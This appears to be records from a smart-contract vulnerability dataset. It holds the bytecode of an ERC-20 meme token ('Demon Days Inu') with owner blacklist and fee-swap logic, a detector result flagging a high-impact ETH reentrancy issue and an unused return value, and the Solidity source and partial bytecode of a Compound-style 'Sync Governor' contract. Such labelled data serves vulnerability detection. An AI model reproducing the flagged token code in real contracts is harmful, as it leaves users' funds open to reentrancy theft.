0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c2d0ffca1161006f578063c2d0ffca14610335578063c3c8cd8014610355578063c9567bf91461036a578063cc653b441461037f578063dd62ed3e146103b5578063ff872602146103fb57600080fd5b80638da5cb5b146102a157806395d89b41146102c9578063a9059cbb146102f5578063b515566a14610315578063bc3371821461033557600080fd5b8063313ce567116100f2578063313ce5671461021b5780635932ead1146102375780636fc3eaec1461025757806370a082311461026c578063715018a61461028c57600080fd5b806306fdde031461013a578063095ea7b31461018357806318160ddd146101b357806323b872dd146101d9578063273123b7146101f957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600e81526d44656d6f6e204461797320496e7560901b60208201525b60405161017a91906116f4565b60405180910390f35b34801561018f57600080fd5b506101a361019e36600461176e565b610410565b604051901515815260200161017a565b3480156101bf57600080fd5b50683635c9adc5dea000005b60405190815260200161017a565b3480156101e557600080fd5b506101a36101f436600461179a565b610427565b34801561020557600080fd5b506102196102143660046117db565b610490565b005b34801561022757600080fd5b506040516009815260200161017a565b34801561024357600080fd5b50610219610252366004611806565b6104e4565b34801561026357600080fd5b5061021961052c565b34801561027857600080fd5b506101cb6102873660046117db565b610559565b34801561029857600080fd5b5061021961057b565b3480156102ad57600080fd5b506000546040516001600160a01b03909116815260200161017a565b3480156102d557600080fd5b5060408051808201909152600381526244444960e81b602082015261016d565b34801561030157600080fd5b506101a361031036600461176e565b6105ef565b34801561032157600080fd5b50610219610330366004611839565b6105fc565b34801561034157600080fd5b506102196103503660046118fe565b610692565b34801561036157600080fd5b506102196106c1565b34801561037657600080fd5b506102196106f7565b34801561038b57600080fd5b506101cb61039a3660046117db565b6001600160a01b031660009081526004602052604090205490565b3480156103c157600080fd5b506101cb6103d0366004611917565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561040757600080fd5b50610219610abb565b600061041d338484610af4565b5060015b92915050565b6000610434848484610c18565b610486843361048185604051806060016040528060288152602001611b16602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610fc1565b610af4565b5060019392505050565b6000546001600160a01b031633146104c35760405162461bcd60e51b81526004016104ba90611950565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6000546001600160a01b0316331461050e5760405162461bcd60e51b81526004016104ba90611950565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461054c57600080fd5b4761055681610ffb565b50565b6001600160a01b03811660009081526002602052604081205461042190611080565b6000546001600160a01b031633146105a55760405162461bcd60e51b81526004016104ba90611950565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061041d338484610c18565b6000546001600160a01b031633146106265760405162461bcd60e51b81526004016104ba90611950565b60005b815181101561068e5760016007600084848151811061064a5761064a611985565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610686816119b1565b915050610629565b5050565b6000546001600160a01b031633146106bc5760405162461bcd60e51b81526004016104ba90611950565b601155565b600d546001600160a01b0316336001600160a01b0316146106e157600080fd5b60006106ec30610559565b905061055681611104565b6000546001600160a01b031633146107215760405162461bcd60e51b81526004016104ba90611950565b601054600160a01b900460ff161561077b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ba565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107b83082683635c9adc5dea00000610af4565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f157600080fd5b505afa158015610805573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082991906119cc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561087157600080fd5b505afa158015610885573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a991906119cc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108f157600080fd5b505af1158015610905573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092991906119cc565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061095981610559565b60008061096e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109d157600080fd5b505af11580156109e5573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a0a91906119e9565b5050601080546801158e460913d0000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a8357600080fd5b505af1158015610a97573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068e9190611a17565b6000546001600160a01b03163314610ae55760405162461bcd60e51b81526004016104ba90611950565b683635c9adc5dea00000601155565b6001600160a01b038316610b565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ba565b6001600160a01b038216610bb75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ba565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c7c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ba565b6001600160a01b038216610cde5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ba565b60008111610d405760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ba565b6010546001600160a01b03848116911614610dc3576001600160a01b03831660009081526004602052604090205415801590610da157506001600160a01b0383166000908152600460205260409020544290610d9e90611c20611a34565b10155b15610db5576001600b556019600c55610e06565b6002600b55600c8055610e06565b6001600160a01b038216600090815260046020526040902054610dfc576001600160a01b03821660009081526004602052604090204290555b6002600b55600c80555b6000546001600160a01b03848116911614801590610e3257506000546001600160a01b03838116911614155b15610fb1576001600160a01b03831660009081526007602052604090205460ff16158015610e7957506001600160a01b03821660009081526007602052604090205460ff16155b610e8257600080fd5b6010546001600160a01b038481169116148015610ead5750600f546001600160a01b03838116911614155b8015610ed257506001600160a01b03821660009081526006602052604090205460ff16155b8015610ee75750601054600160b81b900460ff165b15610f4457601154811115610efb57600080fd5b6001600160a01b0382166000908152600860205260409020544211610f1f57600080fd5b610f2a42601e611a34565b6001600160a01b0383166000908152600860205260409020555b6000610f4f30610559565b601054909150600160a81b900460ff16158015610f7a57506010546001600160a01b03858116911614155b8015610f8f5750601054600160b01b900460ff165b15610faf57610f9d81611104565b478015610fad57610fad47610ffb565b505b505b610fbc83838361128d565b505050565b60008184841115610fe55760405162461bcd60e51b81526004016104ba91906116f4565b506000610ff28486611a4c565b95945050505050565b600d546001600160a01b03166108fc611015836002611298565b6040518115909202916000818181858888f1935050505015801561103d573d6000803e3d6000fd5b50600e546001600160a01b03166108fc611058836002611298565b6040518115909202916000818181858888f1935050505015801561068e573d6000803e3d6000fd5b60006009548211156110e75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104ba565b60006110f16112da565b90506110fd8382611298565b9392505050565b6010805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061114c5761114c611985565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111a057600080fd5b505afa1580156111b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d891906119cc565b816001815181106111eb576111eb611985565b6001600160a01b039283166020918202929092010152600f546112119130911684610af4565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061124a908590600090869030904290600401611a63565b600060405180830381600087803b15801561126457600080fd5b505af1158015611278573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610fbc8383836112fd565b60006110fd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113f4565b60008060006112e7611422565b90925090506112f68282611298565b9250505090565b60008060008060008061130f87611464565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061134190876114c1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113709086611503565b6001600160a01b03891660009081526002602052604090205561139281611562565b61139c84836115ac565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113e191815260200190565b60405180910390a3505050505050505050565b600081836114155760405162461bcd60e51b81526004016104ba91906116f4565b506000610ff28486611ad4565b6009546000908190683635c9adc5dea0000061143e8282611298565b82101561145b57505060095492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006114818a600b54600c546115d0565b92509250925060006114916112da565b905060008060006114a48e878787611625565b919e509c509a509598509396509194505050505091939550919395565b60006110fd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc1565b6000806115108385611a34565b9050838110156110fd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ba565b600061156c6112da565b9050600061157a8383611675565b306000908152600260205260409020549091506115979082611503565b30600090815260026020526040902055505050565b6009546115b990836114c1565b600955600a546115c99082611503565b600a555050565b60008080806115ea60646115e48989611675565b90611298565b905060006115fd60646115e48a89611675565b905060006116158261160f8b866114c1565b906114c1565b9992985090965090945050505050565b60008080806116348886611675565b905060006116428887611675565b905060006116508888611675565b905060006116628261160f86866114c1565b939b939a50919850919650505050505050565b60008261168457506000610421565b60006116908385611af6565b90508261169d8583611ad4565b146110fd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ba565b600060208083528351808285015260005b8181101561172157858101830151858201604001528201611705565b81811115611733576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461055657600080fd5b803561176981611749565b919050565b6000806040838503121561178157600080fd5b823561178c81611749565b946020939093013593505050565b6000806000606084860312156117af57600080fd5b83356117ba81611749565b925060208401356117ca81611749565b929592945050506040919091013590565b6000602082840312156117ed57600080fd5b81356110fd81611749565b801515811461055657600080fd5b60006020828403121561181857600080fd5b81356110fd816117f8565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561184c57600080fd5b823567ffffffffffffffff8082111561186457600080fd5b818501915085601f83011261187857600080fd5b81358181111561188a5761188a611823565b8060051b604051601f19603f830116810181811085821117156118af576118af611823565b6040529182528482019250838101850191888311156118cd57600080fd5b938501935b828510156118f2576118e38561175e565b845293850193928501926118d2565b98975050505050505050565b60006020828403121561191057600080fd5b5035919050565b6000806040838503121561192a57600080fd5b823561193581611749565b9150602083013561194581611749565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119c5576119c561199b565b5060010190565b6000602082840312156119de57600080fd5b81516110fd81611749565b6000806000606084860312156119fe57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a2957600080fd5b81516110fd816117f8565b60008219821115611a4757611a4761199b565b500190565b600082821015611a5e57611a5e61199b565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ab35784516001600160a01b031683529383019391830191600101611a8e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611af157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b1057611b1061199b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ac91f3d9f4827be40aff243b7526d91abef158faafcaee0934ad1225dbeb73c564736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,384
0x51d9B06eE628fEB9275E92523F4d3F0f453f58EE
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; // Copyright 2020 Compound Labs, Inc. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. contract Governor { /// @notice The name of this contract string public constant name = "Sync Governor"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed uint public quorumVotes; /// @notice The number of votes required in order for a voter to become a proposer uint public proposalThreshold; /// @notice The maximum number of actions that can be included in a proposal uint public proposalMaxOperations = 20; /// @notice The delay before voting on a proposal may take place, once proposed uint public votingDelay; /// @notice The duration of voting on a proposal, in blocks uint public votingPeriod; /// @notice The address of the Timelock contract TimelockInterface public timelock; /// @notice The address of the SyncToken contract SyncTokenInterface public sync; /// @notice The address of the Governor Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address timelock_, address sync_, address guardian_, uint quorumVotes_, uint proposalThreshold_, uint votingPeriodBlocks_, uint votingDelayBlocks_) public { timelock = TimelockInterface(timelock_); sync = SyncTokenInterface(sync_); guardian = guardian_; quorumVotes = quorumVotes_; proposalThreshold = proposalThreshold_; votingPeriod = votingPeriodBlocks_; votingDelay = votingDelayBlocks_; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(sync.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold, "Governor::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "Governor::propose: proposal function information arity mismatch"); require(targets.length != 0, "Governor::propose: must provide actions"); require(targets.length <= proposalMaxOperations, "Governor::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "Governor::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "Governor::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay); uint endBlock = add256(startBlock, votingPeriod); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "Governor::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "Governor::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "Governor::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "Governor::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || sync.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold, "Governor::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "Governor::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.gracePeriod())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Governor::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "Governor::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "Governor::_castVote: voter already voted"); uint96 votes = sync.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "Governor::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "Governor::__abdicate: sender must be gov guardian"); guardian = address(0); } function __moveGuardianship(address _guardian) public { require(msg.sender == guardian, "Governor::__moveGuardianship: sender must be gov guardian"); require(_guardian != address(0), "Governor::__moveGuardianship: new guardian cannot be address zero"); guardian = _guardian; } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function gracePeriod() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface SyncTokenInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }
0x6080604052600436106101815760003560e01c8063760fbc13116100d1578063da35c6641161008a578063deaaa7cc11610064578063deaaa7cc14610433578063e23a9a5214610448578063fe0d94c114610475578063fff6cae91461048857610181565b8063da35c664146103de578063da95691a146103f3578063ddf0b0091461041357610181565b8063760fbc13146103485780637bdbe4d01461035d578063b58131b014610372578063b9a6196114610387578063d33219b41461039c578063d38516c3146103be57610181565b806324bc1a641161013e5780633e4f49e6116101185780633e4f49e6146102b957806340e58ee5146102e6578063452a9320146103065780634634c61f1461032857610181565b806324bc1a641461025f578063328dd982146102745780633932abb1146102a457610181565b8063013cf08b1461018657806302a251a3146101c457806306fdde03146101e657806315373e3d1461020857806317977c611461022a57806320606b701461024a575b600080fd5b34801561019257600080fd5b506101a66101a1366004612275565b61049d565b6040516101bb999897969594939291906132b7565b60405180910390f35b3480156101d057600080fd5b506101d96104f7565b6040516101bb9190612fe4565b3480156101f257600080fd5b506101fb6104fd565b6040516101bb91906130a0565b34801561021457600080fd5b506102286102233660046122cd565b610526565b005b34801561023657600080fd5b506101d96102453660046120f2565b610535565b34801561025657600080fd5b506101d9610547565b34801561026b57600080fd5b506101d961055e565b34801561028057600080fd5b5061029461028f366004612275565b610564565b6040516101bb9493929190612f97565b3480156102b057600080fd5b506101d96107f3565b3480156102c557600080fd5b506102d96102d4366004612275565b6107f9565b6040516101bb9190613092565b3480156102f257600080fd5b50610228610301366004612275565b61097f565b34801561031257600080fd5b5061031b610be3565b6040516101bb9190612e90565b34801561033457600080fd5b506102286103433660046122fd565b610bf2565b34801561035457600080fd5b50610228610d7f565b34801561036957600080fd5b506101d9610dbb565b34801561037e57600080fd5b506101d9610dc1565b34801561039357600080fd5b50610228610dc7565b3480156103a857600080fd5b506103b1610e5b565b6040516101bb9190613084565b3480156103ca57600080fd5b506102286103d93660046120f2565b610e6a565b3480156103ea57600080fd5b506101d9610edc565b3480156103ff57600080fd5b506101d961040e366004612118565b610ee2565b34801561041f57600080fd5b5061022861042e366004612275565b6112fd565b34801561043f57600080fd5b506101d961156c565b34801561045457600080fd5b50610468610463366004612293565b611578565b6040516101bb9190613201565b610228610483366004612275565b6115e7565b34801561049457600080fd5b506103b16117ac565b60096020819052600091825260409091208054600182015460028301546007840154600885015495850154600a860154600b9096015494966001600160a01b03909416959294919392909160ff8082169161010090041689565b60045481565b6040518060400160405280600d81526020016c29bcb7319023b7bb32b93737b960991b81525081565b6105313383836117bb565b5050565b600a6020526000908152604090205481565b60405161055390612e7a565b604051809103902081565b60005481565b606080606080600060096000878152602001908152602001600020905080600301816004018260050183600601838054806020026020016040519081016040528092919081815260200182805480156105e657602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116105c8575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561063857602002820191906000526020600020905b815481526020019060010190808311610624575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b8282101561070b5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156106f75780601f106106cc576101008083540402835291602001916106f7565b820191906000526020600020905b8154815290600101906020018083116106da57829003601f168201915b505050505081526020019060010190610660565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156107dd5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156107c95780601f1061079e576101008083540402835291602001916107c9565b820191906000526020600020905b8154815290600101906020018083116107ac57829003601f168201915b505050505081526020019060010190610732565b5050505090509450945094509450509193509193565b60035481565b6000816008541015801561080d5750600082115b6108325760405162461bcd60e51b815260040161082990613121565b60405180910390fd5b6000828152600960205260409020600b81015460ff161561085757600291505061097a565b8060070154431161086c57600091505061097a565b8060080154431161088157600191505061097a565b80600a0154816009015411158061089d57506000548160090154105b156108ac57600391505061097a565b60028101546108bf57600491505061097a565b600b810154610100900460ff16156108db57600791505061097a565b60028101546005546040805163281b6df760e21b8152905161096493926001600160a01b03169163a06db7dc916004808301926020929190829003018186803b15801561092757600080fd5b505afa15801561093b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061095f9190810190612222565b611984565b421061097457600691505061097a565b60059150505b919050565b600061098a826107f9565b9050600781600781111561099a57fe5b14156109b85760405162461bcd60e51b8152600401610829906130f1565b60008281526009602052604090206007546001600160a01b0316331480610a7e5750600180546006548383015491926001600160a01b039182169263782d6fe1921690610a069043906119b0565b6040518363ffffffff1660e01b8152600401610a23929190612eb9565b60206040518083038186803b158015610a3b57600080fd5b505afa158015610a4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610a739190810190612365565b6001600160601b0316105b610a9a5760405162461bcd60e51b8152600401610829906131b1565b600b8101805460ff1916600117905560005b6003820154811015610ba6576005546003830180546001600160a01b039092169163591fcdfe919084908110610ade57fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610b0657fe5b9060005260206000200154856005018581548110610b2057fe5b90600052602060002001866006018681548110610b3957fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610b68959493929190612f56565b600060405180830381600087803b158015610b8257600080fd5b505af1158015610b96573d6000803e3d6000fd5b505060019092019150610aac9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610bd69190612fe4565b60405180910390a1505050565b6007546001600160a01b031681565b6000604051610c0090612e7a565b60408051918290038220828201909152600d82526c29bcb7319023b7bb32b93737b960991b6020909201919091527f4d2638eacc85fcdf717618d1311654a22c3f889227222dda32ded8c2543668c1610c576119d8565b30604051602001610c6b9493929190612ff2565b6040516020818303038152906040528051906020012090506000604051610c9190612e85565b604051908190038120610caa9189908990602001613027565b60405160208183030381529060405280519060200120905060008282604051602001610cd7929190612e49565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610d14949392919061304f565b6020604051602081039080840390855afa158015610d36573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610d695760405162461bcd60e51b8152600401610829906131f1565b610d74818a8a6117bb565b505050505050505050565b6007546001600160a01b03163314610da95760405162461bcd60e51b815260040161082990613161565b600780546001600160a01b0319169055565b60025481565b60015481565b6007546001600160a01b03163314610df15760405162461bcd60e51b815260040161082990613191565b600560009054906101000a90046001600160a01b03166001600160a01b0316630e18b6816040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610e4157600080fd5b505af1158015610e55573d6000803e3d6000fd5b50505050565b6005546001600160a01b031681565b6007546001600160a01b03163314610e945760405162461bcd60e51b8152600401610829906130c1565b6001600160a01b038116610eba5760405162461bcd60e51b815260040161082990613181565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60085481565b600180546006546000926001600160a01b0390911